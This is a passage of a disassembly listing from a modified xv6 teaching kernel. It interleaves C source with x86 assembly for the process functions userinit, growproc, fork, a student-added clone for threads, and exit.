80104464: 8b 45 f4 mov -0xc(%ebp),%eax
}
80104467: c9 leave
80104468: c3 ret
80104469 <userinit>:
//PAGEBREAK: 32
// Set up first user process.
void
userinit(void)
{
80104469: 55 push %ebp
8010446a: 89 e5 mov %esp,%ebp
8010446c: 83 ec 28 sub $0x28,%esp
struct proc *p;
extern char _binary_initcode_start[], _binary_initcode_size[];
p = allocproc();
8010446f: e8 f3 fe ff ff call 80104367 <allocproc>
80104474: 89 45 f4 mov %eax,-0xc(%ebp)
initproc = p;
80104477: 8b 45 f4 mov -0xc(%ebp),%eax
8010447a: a3 68 c6 10 80 mov %eax,0x8010c668
if((p->pgdir = setupkvm()) == 0)
8010447f: e8 4d 3d 00 00 call 801081d1 <setupkvm>
80104484: 8b 55 f4 mov -0xc(%ebp),%edx
80104487: 89 42 04 mov %eax,0x4(%edx)
8010448a: 8b 45 f4 mov -0xc(%ebp),%eax
8010448d: 8b 40 04 mov 0x4(%eax),%eax
80104490: 85 c0 test %eax,%eax
80104492: 75 0c jne 801044a0 <userinit+0x37>
panic("userinit: out of memory?");
80104494: c7 04 24 1b 8d 10 80 movl $0x80108d1b,(%esp)
8010449b: e8 9d c0 ff ff call 8010053d <panic>
inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size);
801044a0: ba 2c 00 00 00 mov $0x2c,%edx
801044a5: 8b 45 f4 mov -0xc(%ebp),%eax
801044a8: 8b 40 04 mov 0x4(%eax),%eax
801044ab: 89 54 24 08 mov %edx,0x8(%esp)
801044af: c7 44 24 04 00 c5 10 movl $0x8010c500,0x4(%esp)
801044b6: 80
801044b7: 89 04 24 mov %eax,(%esp)
801044ba: e8 6a 3f 00 00 call 80108429 <inituvm>
p->sz = PGSIZE;
801044bf: 8b 45 f4 mov -0xc(%ebp),%eax
801044c2: c7 00 00 10 00 00 movl $0x1000,(%eax)
memset(p->tf, 0, sizeof(*p->tf));
801044c8: 8b 45 f4 mov -0xc(%ebp),%eax
801044cb: 8b 40 18 mov 0x18(%eax),%eax
801044ce: c7 44 24 08 4c 00 00 movl $0x4c,0x8(%esp)
801044d5: 00
801044d6: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801044dd: 00
801044de: 89 04 24 mov %eax,(%esp)
801044e1: e8 78 10 00 00 call 8010555e <memset>
p->tf->cs = (SEG_UCODE << 3) | DPL_USER;
801044e6: 8b 45 f4 mov -0xc(%ebp),%eax
801044e9: 8b 40 18 mov 0x18(%eax),%eax
801044ec: 66 c7 40 3c 23 00 movw $0x23,0x3c(%eax)
p->tf->ds = (SEG_UDATA << 3) | DPL_USER;
801044f2: 8b 45 f4 mov -0xc(%ebp),%eax
801044f5: 8b 40 18 mov 0x18(%eax),%eax
801044f8: 66 c7 40 2c 2b 00 movw $0x2b,0x2c(%eax)
p->tf->es = p->tf->ds;
801044fe: 8b 45 f4 mov -0xc(%ebp),%eax
80104501: 8b 40 18 mov 0x18(%eax),%eax
80104504: 8b 55 f4 mov -0xc(%ebp),%edx
80104507: 8b 52 18 mov 0x18(%edx),%edx
8010450a: 0f b7 52 2c movzwl 0x2c(%edx),%edx
8010450e: 66 89 50 28 mov %dx,0x28(%eax)
p->tf->ss = p->tf->ds;
80104512: 8b 45 f4 mov -0xc(%ebp),%eax
80104515: 8b 40 18 mov 0x18(%eax),%eax
80104518: 8b 55 f4 mov -0xc(%ebp),%edx
8010451b: 8b 52 18 mov 0x18(%edx),%edx
8010451e: 0f b7 52 2c movzwl 0x2c(%edx),%edx
80104522: 66 89 50 48 mov %dx,0x48(%eax)
p->tf->eflags = FL_IF;
80104526: 8b 45 f4 mov -0xc(%ebp),%eax
80104529: 8b 40 18 mov 0x18(%eax),%eax
8010452c: c7 40 40 00 02 00 00 movl $0x200,0x40(%eax)
p->tf->esp = PGSIZE;
80104533: 8b 45 f4 mov -0xc(%ebp),%eax
80104536: 8b 40 18 mov 0x18(%eax),%eax
80104539: c7 40 44 00 10 00 00 movl $0x1000,0x44(%eax)
p->tf->eip = 0; // beginning of initcode.S
80104540: 8b 45 f4 mov -0xc(%ebp),%eax
80104543: 8b 40 18 mov 0x18(%eax),%eax
80104546: c7 40 38 00 00 00 00 movl $0x0,0x38(%eax)
safestrcpy(p->name, "initcode", sizeof(p->name));
8010454d: 8b 45 f4 mov -0xc(%ebp),%eax
80104550: 83 c0 6c add $0x6c,%eax
80104553: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
8010455a: 00
8010455b: c7 44 24 04 34 8d 10 movl $0x80108d34,0x4(%esp)
80104562: 80
80104563: 89 04 24 mov %eax,(%esp)
80104566: e8 23 12 00 00 call 8010578e <safestrcpy>
p->cwd = namei("/");
8010456b: c7 04 24 3d 8d 10 80 movl $0x80108d3d,(%esp)
80104572: e8 9f de ff ff call 80102416 <namei>
80104577: 8b 55 f4 mov -0xc(%ebp),%edx
8010457a: 89 42 68 mov %eax,0x68(%edx)
p->state = RUNNABLE;
8010457d: 8b 45 f4 mov -0xc(%ebp),%eax
80104580: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
}
80104587: c9 leave
80104588: c3 ret
80104589 <growproc>:
// Grow current process's memory by n bytes.
// Return 0 on success, -1 on failure.
int
growproc(int n)
{
80104589: 55 push %ebp
8010458a: 89 e5 mov %esp,%ebp
8010458c: 83 ec 28 sub $0x28,%esp
uint sz;
sz = proc->sz;
8010458f: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104595: 8b 00 mov (%eax),%eax
80104597: 89 45 f4 mov %eax,-0xc(%ebp)
if(n > 0){
8010459a: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
8010459e: 7e 34 jle 801045d4 <growproc+0x4b>
if((sz = allocuvm(proc->pgdir, sz, sz + n)) == 0)
801045a0: 8b 45 08 mov 0x8(%ebp),%eax
801045a3: 89 c2 mov %eax,%edx
801045a5: 03 55 f4 add -0xc(%ebp),%edx
801045a8: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801045ae: 8b 40 04 mov 0x4(%eax),%eax
801045b1: 89 54 24 08 mov %edx,0x8(%esp)
801045b5: 8b 55 f4 mov -0xc(%ebp),%edx
801045b8: 89 54 24 04 mov %edx,0x4(%esp)
801045bc: 89 04 24 mov %eax,(%esp)
801045bf: e8 df 3f 00 00 call 801085a3 <allocuvm>
801045c4: 89 45 f4 mov %eax,-0xc(%ebp)
801045c7: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
801045cb: 75 41 jne 8010460e <growproc+0x85>
return -1;
801045cd: b8 ff ff ff ff mov $0xffffffff,%eax
801045d2: eb 58 jmp 8010462c <growproc+0xa3>
} else if(n < 0){
801045d4: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
801045d8: 79 34 jns 8010460e <growproc+0x85>
if((sz = deallocuvm(proc->pgdir, sz, sz + n)) == 0)
801045da: 8b 45 08 mov 0x8(%ebp),%eax
801045dd: 89 c2 mov %eax,%edx
801045df: 03 55 f4 add -0xc(%ebp),%edx
801045e2: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801045e8: 8b 40 04 mov 0x4(%eax),%eax
801045eb: 89 54 24 08 mov %edx,0x8(%esp)
801045ef: 8b 55 f4 mov -0xc(%ebp),%edx
801045f2: 89 54 24 04 mov %edx,0x4(%esp)
801045f6: 89 04 24 mov %eax,(%esp)
801045f9: e8 7f 40 00 00 call 8010867d <deallocuvm>
801045fe: 89 45 f4 mov %eax,-0xc(%ebp)
80104601: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80104605: 75 07 jne 8010460e <growproc+0x85>
return -1;
80104607: b8 ff ff ff ff mov $0xffffffff,%eax
8010460c: eb 1e jmp 8010462c <growproc+0xa3>
}
proc->sz = sz;
8010460e: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104614: 8b 55 f4 mov -0xc(%ebp),%edx
80104617: 89 10 mov %edx,(%eax)
switchuvm(proc);
80104619: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010461f: 89 04 24 mov %eax,(%esp)
80104622: e8 9b 3c 00 00 call 801082c2 <switchuvm>
return 0;
80104627: b8 00 00 00 00 mov $0x0,%eax
}
8010462c: c9 leave
8010462d: c3 ret
8010462e <fork>:
// Create a new process copying p as the parent.
// Sets up stack to return as if from system call.
// Caller must set state of returned proc to RUNNABLE.
int
fork(void)
{
8010462e: 55 push %ebp
8010462f: 89 e5 mov %esp,%ebp
80104631: 57 push %edi
80104632: 56 push %esi
80104633: 53 push %ebx
80104634: 83 ec 2c sub $0x2c,%esp
cprintf("Inside fork function of proc.c\n");
80104637: c7 04 24 40 8d 10 80 movl $0x80108d40,(%esp)
8010463e: e8 5e bd ff ff call 801003a1 <cprintf>
int i, pid;
struct proc *np;
// Allocate process.
if((np = allocproc()) == 0)
80104643: e8 1f fd ff ff call 80104367 <allocproc>
80104648: 89 45 e0 mov %eax,-0x20(%ebp)
8010464b: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
8010464f: 75 0a jne 8010465b <fork+0x2d>
return -1;
80104651: b8 ff ff ff ff mov $0xffffffff,%eax
80104656: e9 52 01 00 00 jmp 801047ad <fork+0x17f>
// Copy process state from p.
if((np->pgdir = copyuvm(proc->pgdir, proc->sz)) == 0){
8010465b: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104661: 8b 10 mov (%eax),%edx
80104663: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104669: 8b 40 04 mov 0x4(%eax),%eax
8010466c: 89 54 24 04 mov %edx,0x4(%esp)
80104670: 89 04 24 mov %eax,(%esp)
80104673: e8 95 41 00 00 call 8010880d <copyuvm>
80104678: 8b 55 e0 mov -0x20(%ebp),%edx
8010467b: 89 42 04 mov %eax,0x4(%edx)
8010467e: 8b 45 e0 mov -0x20(%ebp),%eax
80104681: 8b 40 04 mov 0x4(%eax),%eax
80104684: 85 c0 test %eax,%eax
80104686: 75 2c jne 801046b4 <fork+0x86>
kfree(np->kstack);
80104688: 8b 45 e0 mov -0x20(%ebp),%eax
8010468b: 8b 40 08 mov 0x8(%eax),%eax
8010468e: 89 04 24 mov %eax,(%esp)
80104691: e8 dc e3 ff ff call 80102a72 <kfree>
np->kstack = 0;
80104696: 8b 45 e0 mov -0x20(%ebp),%eax
80104699: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
np->state = UNUSED;
801046a0: 8b 45 e0 mov -0x20(%ebp),%eax
801046a3: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
return -1;
801046aa: b8 ff ff ff ff mov $0xffffffff,%eax
801046af: e9 f9 00 00 00 jmp 801047ad <fork+0x17f>
}
np->sz = proc->sz;
801046b4: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801046ba: 8b 10 mov (%eax),%edx
801046bc: 8b 45 e0 mov -0x20(%ebp),%eax
801046bf: 89 10 mov %edx,(%eax)
np->parent = proc;
801046c1: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
801046c8: 8b 45 e0 mov -0x20(%ebp),%eax
801046cb: 89 50 14 mov %edx,0x14(%eax)
*np->tf = *proc->tf;
801046ce: 8b 45 e0 mov -0x20(%ebp),%eax
801046d1: 8b 50 18 mov 0x18(%eax),%edx
801046d4: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801046da: 8b 40 18 mov 0x18(%eax),%eax
801046dd: 89 c3 mov %eax,%ebx
801046df: b8 13 00 00 00 mov $0x13,%eax
801046e4: 89 d7 mov %edx,%edi
801046e6: 89 de mov %ebx,%esi
801046e8: 89 c1 mov %eax,%ecx
801046ea: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
// Clear %eax so that fork returns 0 in the child.
np->tf->eax = 0;
801046ec: 8b 45 e0 mov -0x20(%ebp),%eax
801046ef: 8b 40 18 mov 0x18(%eax),%eax
801046f2: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax)
for(i = 0; i < NOFILE; i++)
801046f9: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
80104700: eb 3d jmp 8010473f <fork+0x111>
if(proc->ofile[i])
80104702: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104708: 8b 55 e4 mov -0x1c(%ebp),%edx
8010470b: 83 c2 08 add $0x8,%edx
8010470e: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
80104712: 85 c0 test %eax,%eax
80104714: 74 25 je 8010473b <fork+0x10d>
np->ofile[i] = filedup(proc->ofile[i]);
80104716: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010471c: 8b 55 e4 mov -0x1c(%ebp),%edx
8010471f: 83 c2 08 add $0x8,%edx
80104722: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
80104726: 89 04 24 mov %eax,(%esp)
80104729: e8 5a c8 ff ff call 80100f88 <filedup>
8010472e: 8b 55 e0 mov -0x20(%ebp),%edx
80104731: 8b 4d e4 mov -0x1c(%ebp),%ecx
80104734: 83 c1 08 add $0x8,%ecx
80104737: 89 44 8a 08 mov %eax,0x8(%edx,%ecx,4)
*np->tf = *proc->tf;
// Clear %eax so that fork returns 0 in the child.
np->tf->eax = 0;
for(i = 0; i < NOFILE; i++)
8010473b: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
8010473f: 83 7d e4 0f cmpl $0xf,-0x1c(%ebp)
80104743: 7e bd jle 80104702 <fork+0xd4>
if(proc->ofile[i])
np->ofile[i] = filedup(proc->ofile[i]);
np->cwd = idup(proc->cwd);
80104745: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010474b: 8b 40 68 mov 0x68(%eax),%eax
8010474e: 89 04 24 mov %eax,(%esp)
80104751: e8 ec d0 ff ff call 80101842 <idup>
80104756: 8b 55 e0 mov -0x20(%ebp),%edx
80104759: 89 42 68 mov %eax,0x68(%edx)
safestrcpy(np->name, proc->name, sizeof(proc->name));
8010475c: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104762: 8d 50 6c lea 0x6c(%eax),%edx
80104765: 8b 45 e0 mov -0x20(%ebp),%eax
80104768: 83 c0 6c add $0x6c,%eax
8010476b: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80104772: 00
80104773: 89 54 24 04 mov %edx,0x4(%esp)
80104777: 89 04 24 mov %eax,(%esp)
8010477a: e8 0f 10 00 00 call 8010578e <safestrcpy>
pid = np->pid;
8010477f: 8b 45 e0 mov -0x20(%ebp),%eax
80104782: 8b 40 10 mov 0x10(%eax),%eax
80104785: 89 45 dc mov %eax,-0x24(%ebp)
// lock to force the compiler to emit the np->state write last.
acquire(&ptable.lock);
80104788: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
8010478f: e8 7b 0b 00 00 call 8010530f <acquire>
np->state = RUNNABLE;
80104794: 8b 45 e0 mov -0x20(%ebp),%eax
80104797: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
release(&ptable.lock);
8010479e: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
801047a5: e8 c7 0b 00 00 call 80105371 <release>
return pid;
801047aa: 8b 45 dc mov -0x24(%ebp),%eax
}
801047ad: 83 c4 2c add $0x2c,%esp
801047b0: 5b pop %ebx
801047b1: 5e pop %esi
801047b2: 5f pop %edi
801047b3: 5d pop %ebp
801047b4: c3 ret
801047b5 <clone>:
thread to the parent, and immediately start execution of the function func in the new thread’s context.
*/
int
clone(void* function, void *arg, void *stack)
{
801047b5: 55 push %ebp
801047b6: 89 e5 mov %esp,%ebp
801047b8: 57 push %edi
801047b9: 56 push %esi
801047ba: 53 push %ebx
801047bb: 83 ec 2c sub $0x2c,%esp
int i, pid;
struct proc *np;
// Allocate process.
if((np = allocproc()) == 0)
801047be: e8 a4 fb ff ff call 80104367 <allocproc>
801047c3: 89 45 e0 mov %eax,-0x20(%ebp)
801047c6: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
801047ca: 75 0a jne 801047d6 <clone+0x21>
return -1;
801047cc: b8 ff ff ff ff mov $0xffffffff,%eax
801047d1: e9 8f 01 00 00 jmp 80104965 <clone+0x1b0>
np->sz = proc->sz;
801047d6: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801047dc: 8b 10 mov (%eax),%edx
801047de: 8b 45 e0 mov -0x20(%ebp),%eax
801047e1: 89 10 mov %edx,(%eax)
// if the calling process is NOT a thread, copy it. Otherwise, copy its parent, the original caller
if (proc->isthread == 0) {
801047e3: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801047e9: 8b 40 7c mov 0x7c(%eax),%eax
801047ec: 85 c0 test %eax,%eax
801047ee: 75 0f jne 801047ff <clone+0x4a>
np->parent = proc;
801047f0: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
801047f7: 8b 45 e0 mov -0x20(%ebp),%eax
801047fa: 89 50 14 mov %edx,0x14(%eax)
801047fd: eb 0f jmp 8010480e <clone+0x59>
}
else {
np->parent = proc->parent;
801047ff: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104805: 8b 50 14 mov 0x14(%eax),%edx
80104808: 8b 45 e0 mov -0x20(%ebp),%eax
8010480b: 89 50 14 mov %edx,0x14(%eax)
}
*np->tf = *proc->tf;
8010480e: 8b 45 e0 mov -0x20(%ebp),%eax
80104811: 8b 50 18 mov 0x18(%eax),%edx
80104814: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010481a: 8b 40 18 mov 0x18(%eax),%eax
8010481d: 89 c3 mov %eax,%ebx
8010481f: b8 13 00 00 00 mov $0x13,%eax
80104824: 89 d7 mov %edx,%edi
80104826: 89 de mov %ebx,%esi
80104828: 89 c1 mov %eax,%ecx
8010482a: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
// Clear %eax so that fork returns 0 in the child.
np->tf->eax = 0;
8010482c: 8b 45 e0 mov -0x20(%ebp),%eax
8010482f: 8b 40 18 mov 0x18(%eax),%eax
80104832: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax)
// reallocate old process's page table to new process
np->pgdir = proc->pgdir;
80104839: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010483f: 8b 50 04 mov 0x4(%eax),%edx
80104842: 8b 45 e0 mov -0x20(%ebp),%eax
80104845: 89 50 04 mov %edx,0x4(%eax)
// modified the return ip to thread function
np->tf->eip = (int)function;
80104848: 8b 45 e0 mov -0x20(%ebp),%eax
8010484b: 8b 40 18 mov 0x18(%eax),%eax
8010484e: 8b 55 08 mov 0x8(%ebp),%edx
80104851: 89 50 38 mov %edx,0x38(%eax)
// modified the thread indicator's value
np->isthread = 1;
80104854: 8b 45 e0 mov -0x20(%ebp),%eax
80104857: c7 40 7c 01 00 00 00 movl $0x1,0x7c(%eax)
// modified the stack
np->stack = (int)stack;
8010485e: 8b 55 10 mov 0x10(%ebp),%edx
80104861: 8b 45 e0 mov -0x20(%ebp),%eax
80104864: 89 90 80 00 00 00 mov %edx,0x80(%eax)
np->tf->esp = (int)stack + 4092; // move esp to the top of the new stack
8010486a: 8b 45 e0 mov -0x20(%ebp),%eax
8010486d: 8b 40 18 mov 0x18(%eax),%eax
80104870: 8b 55 10 mov 0x10(%ebp),%edx
80104873: 81 c2 fc 0f 00 00 add $0xffc,%edx
80104879: 89 50 44 mov %edx,0x44(%eax)
*((int *)(np->tf->esp)) = (int)arg; // push the argument
8010487c: 8b 45 e0 mov -0x20(%ebp),%eax
8010487f: 8b 40 18 mov 0x18(%eax),%eax
80104882: 8b 40 44 mov 0x44(%eax),%eax
80104885: 8b 55 0c mov 0xc(%ebp),%edx
80104888: 89 10 mov %edx,(%eax)
*((int *)(np->tf->esp - 4)) = 0xFFFFFFFF; // push the return address
8010488a: 8b 45 e0 mov -0x20(%ebp),%eax
8010488d: 8b 40 18 mov 0x18(%eax),%eax
80104890: 8b 40 44 mov 0x44(%eax),%eax
80104893: 83 e8 04 sub $0x4,%eax
80104896: c7 00 ff ff ff ff movl $0xffffffff,(%eax)
np->tf->esp -= 4;
8010489c: 8b 45 e0 mov -0x20(%ebp),%eax
8010489f: 8b 40 18 mov 0x18(%eax),%eax
801048a2: 8b 55 e0 mov -0x20(%ebp),%edx
801048a5: 8b 52 18 mov 0x18(%edx),%edx
801048a8: 8b 52 44 mov 0x44(%edx),%edx
801048ab: 83 ea 04 sub $0x4,%edx
801048ae: 89 50 44 mov %edx,0x44(%eax)
for(i = 0; i < NOFILE; i++)
801048b1: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
801048b8: eb 3d jmp 801048f7 <clone+0x142>
if(proc->ofile[i])
801048ba: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801048c0: 8b 55 e4 mov -0x1c(%ebp),%edx
801048c3: 83 c2 08 add $0x8,%edx
801048c6: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
801048ca: 85 c0 test %eax,%eax
801048cc: 74 25 je 801048f3 <clone+0x13e>
np->ofile[i] = filedup(proc->ofile[i]);
801048ce: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801048d4: 8b 55 e4 mov -0x1c(%ebp),%edx
801048d7: 83 c2 08 add $0x8,%edx
801048da: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
801048de: 89 04 24 mov %eax,(%esp)
801048e1: e8 a2 c6 ff ff call 80100f88 <filedup>
801048e6: 8b 55 e0 mov -0x20(%ebp),%edx
801048e9: 8b 4d e4 mov -0x1c(%ebp),%ecx
801048ec: 83 c1 08 add $0x8,%ecx
801048ef: 89 44 8a 08 mov %eax,0x8(%edx,%ecx,4)
np->tf->esp = (int)stack + 4092; // move esp to the top of the new stack
*((int *)(np->tf->esp)) = (int)arg; // push the argument
*((int *)(np->tf->esp - 4)) = 0xFFFFFFFF; // push the return address
np->tf->esp -= 4;
for(i = 0; i < NOFILE; i++)
801048f3: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
801048f7: 83 7d e4 0f cmpl $0xf,-0x1c(%ebp)
801048fb: 7e bd jle 801048ba <clone+0x105>
if(proc->ofile[i])
np->ofile[i] = filedup(proc->ofile[i]);
np->cwd = idup(proc->cwd);
801048fd: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104903: 8b 40 68 mov 0x68(%eax),%eax
80104906: 89 04 24 mov %eax,(%esp)
80104909: e8 34 cf ff ff call 80101842 <idup>
8010490e: 8b 55 e0 mov -0x20(%ebp),%edx
80104911: 89 42 68 mov %eax,0x68(%edx)
safestrcpy(np->name, proc->name, sizeof(proc->name));
80104914: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010491a: 8d 50 6c lea 0x6c(%eax),%edx
8010491d: 8b 45 e0 mov -0x20(%ebp),%eax
80104920: 83 c0 6c add $0x6c,%eax
80104923: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
8010492a: 00
8010492b: 89 54 24 04 mov %edx,0x4(%esp)
8010492f: 89 04 24 mov %eax,(%esp)
80104932: e8 57 0e 00 00 call 8010578e <safestrcpy>
pid = np->pid;
80104937: 8b 45 e0 mov -0x20(%ebp),%eax
8010493a: 8b 40 10 mov 0x10(%eax),%eax
8010493d: 89 45 dc mov %eax,-0x24(%ebp)
// lock to force the compiler to emit the np->state write last.
acquire(&ptable.lock);
80104940: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104947: e8 c3 09 00 00 call 8010530f <acquire>
np->state = RUNNABLE;
8010494c: 8b 45 e0 mov -0x20(%ebp),%eax
8010494f: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
release(&ptable.lock);
80104956: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
8010495d: e8 0f 0a 00 00 call 80105371 <release>
// exit();
return pid;
80104962: 8b 45 dc mov -0x24(%ebp),%eax
}
80104965: 83 c4 2c add $0x2c,%esp
80104968: 5b pop %ebx
80104969: 5e pop %esi
8010496a: 5f pop %edi
8010496b: 5d pop %ebp
8010496c: c3 ret
8010496d <exit>:
// Exit the current process. Does not return.
// An exited process remains in the zombie state
// until its parent calls wait() to find out it exited.
void
exit(void)
{
8010496d: 55 push %ebp
8010496e: 89 e5 mov %esp,%ebp
80104970: 83 ec 28 sub $0x28,%esp
struct proc *p;
int fd;
if(proc == initproc)
80104973: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
8010497a: a1 68 c6 10 80 mov 0x8010c668,%eax
8010497f: 39 c2 cmp %eax,%edx
80104981: 75 0c jne 8010498f <exit+0x22>
panic("init exiting");
80104983: c7 04 24 60 8d 10 80 movl $0x80108d60,(%esp)
8010498a: e8 ae bb ff ff call 8010053d <panic>
// Close all open files.
for(fd = 0; fd < NOFILE; fd++){
8010498f: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
80104996: eb 44 jmp 801049dc <exit+0x6f>
if(proc->ofile[fd]){
80104998: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010499e: 8b 55 f0 mov -0x10(%ebp),%edx
801049a1: 83 c2 08 add $0x8,%edx
801049a4: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
801049a8: 85 c0 test %eax,%eax
801049aa: 74 2c je 801049d8 <exit+0x6b>
fileclose(proc->ofile[fd]);
801049ac: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801049b2: 8b 55 f0 mov -0x10(%ebp),%edx
801049b5: 83 c2 08 add $0x8,%edx
801049b8: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
801049bc: 89 04 24 mov %eax,(%esp)
801049bf: e8 0c c6 ff ff call 80100fd0 <fileclose>
proc->ofile[fd] = 0;
801049c4: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801049ca: 8b 55 f0 mov -0x10(%ebp),%edx
801049cd: 83 c2 08 add $0x8,%edx
801049d0: c7 44 90 08 00 00 00 movl $0x0,0x8(%eax,%edx,4)
801049d7: 00
if(proc == initproc)
panic("init exiting");
// Close all open files.
for(fd = 0; fd < NOFILE; fd++){
801049d8: 83 45 f0 01 addl $0x1,-0x10(%ebp)
801049dc: 83 7d f0 0f cmpl $0xf,-0x10(%ebp)
801049e0: 7e b6 jle 80104998 <exit+0x2b>
fileclose(proc->ofile[fd]);
proc->ofile[fd] = 0;
}
}
begin_op();
801049e2: e8 7a ea ff ff call 80103461 <begin_op>
iput(proc->cwd);
801049e7: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801049ed: 8b 40 68 mov 0x68(%eax),%eax
801049f0: 89 04 24 mov %eax,(%esp)
801049f3: e8 2f d0 ff ff call 80101a27 <iput>
end_op();
801049f8: e8 e5 ea ff ff call 801034e2 <end_op>
proc->cwd = 0;
801049fd: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104a03: c7 40 68 00 00 00 00 movl $0x0,0x68(%eax)
acquire(&ptable.lock);
80104a0a: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104a11: e8 f9 08 00 00 call 8010530f <acquire>
// Parent might be sleeping in wait().
wakeup1(proc->parent);
80104a16: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104a1c: 8b 40 14 mov 0x14(%eax),%eax
80104a1f: 89 04 24 mov %eax,(%esp)
80104a22: e8 9b 06 00 00 call 801050c2 <wakeup1>
// Pass abandoned children to init.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104a27: c7 45 f4 b4 39 11 80 movl $0x801139b4,-0xc(%ebp)
80104a2e: eb 68 jmp 80104a98 <exit+0x12b>
if(p->parent == proc){
80104a30: 8b 45 f4 mov -0xc(%ebp),%eax
80104a33: 8b 50 14 mov 0x14(%eax),%edx
80104a36: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104a3c: 39 c2 cmp %eax,%edx
80104a3e: 75 51 jne 80104a91 <exit+0x124>
p->parent = initproc;
80104a40: 8b 15 68 c6 10 80 mov 0x8010c668,%edx
80104a46: 8b 45 f4 mov -0xc(%ebp),%eax
80104a49: 89 50 14 mov %edx,0x14(%eax)
//Kill and free the stacks of the child threads (if any)
if(p->isthread == 1){
80104a4c: 8b 45 f4 mov -0xc(%ebp),%eax
80104a4f: 8b 40 7c mov 0x7c(%eax),%eax
80104a52: 83 f8 01 cmp $0x1,%eax
80104a55: 75 22 jne 80104a79 <exit+0x10c>
p->state = UNUSED;
80104a57: 8b 45 f4 mov -0xc(%ebp),%eax
80104a5a: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
kfree(p->kstack);
80104a61: 8b 45 f4 mov -0xc(%ebp),%eax
80104a64: 8b 40 08 mov 0x8(%eax),%eax
80104a67: 89 04 24 mov %eax,(%esp)
80104a6a: e8 03 e0 ff ff call 80102a72 <kfree>
p->kstack = 0;
80104a6f: 8b 45 f4 mov -0xc(%ebp),%eax
80104a72: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
if(p->state == ZOMBIE)
80104a79: 8b 45 f4 mov -0xc(%ebp),%eax
80104a7c: 8b 40 0c mov 0xc(%eax),%eax
80104a7f: 83 f8 05 cmp $0x5,%eax
80104a82: 75 0d jne 80104a91 <exit+0x124>
wakeup1(initproc);
80104a84: a1 68 c6 10 80 mov 0x8010c668,%eax
80104a89: 89 04 24 mov %eax,(%esp)
80104a8c: e8 31 06 00 00 call 801050c2 <wakeup1>
// Parent might be sleeping in wait().
wakeup1(proc->parent);
// Pass abandoned children to init.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104a91: 81 45 f4 84 00 00 00 addl $0x84,-0xc(%ebp)
80104a98: 81 7d f4 b4 5a 11 80 cmpl $0x80115ab4,-0xc(%ebp)
80104a9f: 72 8f jb 80104a30 <exit+0xc3>
wakeup1(initproc);
}
}
// Jump into the scheduler, never to return.
proc->state = ZOMBIE;
80104aa1: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104aa7: c7 40 0c 05 00 00 00 movl $0x5,0xc(%eax)
sched();
80104aae: e8 64 04 00 00 call 80104f17 <sched>
panic("zombie exit");
